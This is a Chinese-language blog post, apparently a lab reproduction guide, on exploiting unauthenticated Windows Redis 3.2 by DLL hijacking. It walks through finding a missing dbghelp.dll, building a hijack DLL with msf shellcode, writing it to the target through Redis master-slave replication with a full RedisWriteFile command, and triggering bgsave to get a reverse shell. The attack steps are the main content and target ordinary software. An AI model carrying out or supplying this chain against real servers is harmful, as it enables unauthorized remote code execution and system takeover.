前言

项目中时不时会遇到windows的redis未授权,利用dll劫持可以不用重启获取shell。本文参考网上师傅们的文章详细复现了过程,供各位才入坑的朋友们参考。

前期准备

环境

攻击机:192.168.254.129 win10 默认安装 Redis 3.2.100
目标机:192.168.254.130 win2012 默认安装Redis 3.2.100
回连主机:192.168.254.131,kali msf shellcode

工具准备

dll_hijack
https://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijack RedisWrite
https://github.com/r35tart/RedisWriteFile redis-dump-go
https://github.com/yannh/redis-dump-go visual studio 2019 微软官网下载

安装redis

攻击机和目标机都采用默认安装,Redis Service会开机自启,权限为Network Service ,对默认目录是拥有完全控制权限的。

寻找DLL劫持目标

连接redis-cli.exe -h 192.168.254.130,使用bgsave命令,查看缺少的dll

redis dll redis dll劫持_github


redis dll redis dll劫持_redis_02


redis dll redis dll劫持_redis_03


可以看到dbghelp.dll可以作为劫持目标,除了bgsave,其他的命令操作也可以触发其他dll。dbghelp.dll系统自带,我们可以直接拿来利用

redis dll redis dll劫持_redis dll_04

利用复现

连接redis,执行info命令,通过config_file能看到路径,我这里不知道怎么配置的没了,所以该复现步骤前提是要知道redis的安装目录。

redis dll redis dll劫持_redis_05

使用dllHijack工具,执行后生成dbghelp项目

python DllHijacker.py dbghelp.dll

redis dll redis dll劫持_redis_06


redis dll redis dll劫持_redis_07


msf生成c的payload

redis dll redis dll劫持_Redis_08

将dbghelp项目中的shellcode进行替换

redis dll redis dll劫持_redis dll_09


,release生成使用主从复制将修改后的dll写入到目标指定位置

下载RedisWriteFile工具,将修改后的dll放在同一个目录下,执行命令

python RedisWriteFile.py --rhost=192.168.254.130 --rport=6379 --lhost=192.168.254.129 --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"

redis dll redis dll劫持_github_10


可以看到目标机器被写入了dll文件

redis dll redis dll劫持_github_11


在redis客户端连接执行bgsave,尝试触发劫持dll

redis dll redis dll劫持_redis dll_12


同时间可以看到msf收到了shell

redis dll redis dll劫持_redis_13

总结

1、为什么不直接用主从复制获得shell,Windows版的redis目前最高支持版本为3.2,主从复制的前提是需要关键模块MODULE LOAD,这个是redis4.0之后才有的。
2、个人环境测试,发现该dll劫持方式不会影响redis运行,但是会影响redis启动或重启,将恶意的dll删除即可恢复